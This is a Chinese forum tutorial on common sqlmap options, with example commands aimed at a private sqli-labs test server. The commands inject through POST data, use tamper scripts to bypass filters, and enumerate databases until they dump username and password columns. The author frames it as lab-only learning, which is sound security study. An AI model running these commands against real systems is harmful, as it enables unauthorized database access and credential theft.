查看: 75|回复: 0

sqlmap常用参数详解

[复制链接]

1

主题

4

帖子

5

积分

新手上路

Rank: 1

积分
5
发表于 2022-12-28 13:20:19 | 显示全部楼层 |阅读模式
1、声明

本文所介绍的内容仅用于学习和交流,严禁利用文中技术进行非法行为。由于传播、利用本文所提供的信息和技术而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
2、sqlmap介绍


  • sqlmap是开源的SQL注入漏洞检测的工具,能够检测动态页面中的get/post参数,cookie,http头,还能够查看数据,文件系统访问,甚至能够操作系统命令执行。
  • 检测方式:布尔盲注、时间盲注、报错注入、UNION联合查询注入、堆叠注入
  • 支持数据库:Mysql、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、 SQLite、Firebird、Sybase、SAP MaxDb
3、sqlmap基础参数

3.1 选项


  • 显示基本的帮助信息并退出
-h, --help            Show basic help message and exit用法示例:
sqlmap -h

  • 显示高级的帮助信息并退出
-hh                   Show advanced help message and exit用法示例:
sqlmap -hh3.2 Target(目标)

指定扫描的目标。

  • 指定目标URL
-u URL, --url=URL用法示例:
sqlmap -u http://192.168.21.132/Less-2/?id=23.3 Request(请求)

这些选项可用于指定如何连接到目标URL。

  • 指定post请求方式的相关参数
--data=DATA         Data string to be sent through POST (e.g. "id=1")用法示例:
sqlmap -u http://192.168.21.132/Less-17/ --data="uname=admin&passwd=admin&submit=Submit" --dbs

  • header参数,指定referer的值
--referer=REFERER   HTTP Referer header value用法示例:
sqlmap -u "http://192.168.21.132/Less-19/" --data="uname=admin&passwd=admin&submit=Submit" --referer="*" --thread=10 --dbs3.4  Optimization(优化)

这些选项可用于优化sqlmap的性能。
3.5 Injection(注入)

这些选项可用于指定要测试的参数,提供自定义注入有效载荷和可选的篡改脚本。

  • 指定绕过WAF或者过滤的脚本。
--tamper=TAMPER     Use given script(s) for tampering injection data3.6 Detection(检测)

这些选项可用于自定义检测阶段。

  • 要执行的测试级别,数字越大级别越高
当使用--level参数且值>=2时,会检查cookie里面的参数;当level的值>=3时,会检查User-agent和Referer。
--level=LEVEL       Level of tests to perform (1-5, default 1)用法示例:
sqlmap -u http://192.168.21.132/Less-2/?id=2 --level=3

  • 执行测试的风险,数字越大等级越高,等级高容易造成数据被篡改的风险
  --risk=RISK         Risk of tests to perform (1-3, default 1)用法示例:
sqlmap -u http://192.168.21.132/Less-2/?id=2 --risk=2
3.7 Techniques(技术)

这些选项可用于调整特定SQL注入技术的测试
3.8 Fingerprint(指纹)


3.9 Enumeration(枚举)

这些选项可用于枚举后端数据库管理系统的信息、结构和所包含的数据表。

  • 枚举DBMS数据库,即把所有的数据库都爆出来
--dbs               Enumerate DBMS databases用法示例:
sqlmap -u http://192.168.21.132/Less-2/?id=2 --dbs

  • 指定数据库,枚举DBMS数据库的表
-D DB               DBMS database to enumerate
--tables            Enumerate DBMS database tables用法示例:
sqlmap -u http://192.168.21.132/Less-2/?id=2 -D security --tables

  • 指定库表,枚举库表的所有字段
-T TBL              DBMS database table(s) to enumerate
--columns           Enumerate DBMS database table columns用法示例:
sqlmap -u http://192.168.21.132/Less-2/?id=2 -D security -T users --columns

  • 指定库表的字段,爆出字段值,转储DBMS数据库表项
-C COL              DBMS database table column(s) to enumerate
--dump              Dump DBMS database table entries用法示例:
sqlmap -u http://192.168.21.132/Less-2/?id=2 -D security -T users -C id,password,username --dump3.10 Brute force

这些选项可用于运行暴力检测
3.11 User-defined function injection

用户自定义的函数注入,可用于用于自定义的函数。
3.12 File system access(文件系统访问)

可用于访问底层文件系统的后端数据库管理系统。
3.13 Operating system access(操作系统访问)

可用于访问底层操作系统的后端数据库管理系统。
3.14 Windows registry access

可用于访问后端数据库管理系统Windows注册表
3.15 General(一般的)

可用于设置一些一般的工作参数。
3.16 Miscellaneous(杂项)

显示可用的篡改脚本列表
--list-tampers      Display list of available tamper scripts持续更新中.....
备注:以上均为实验环境,仅用于学习。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表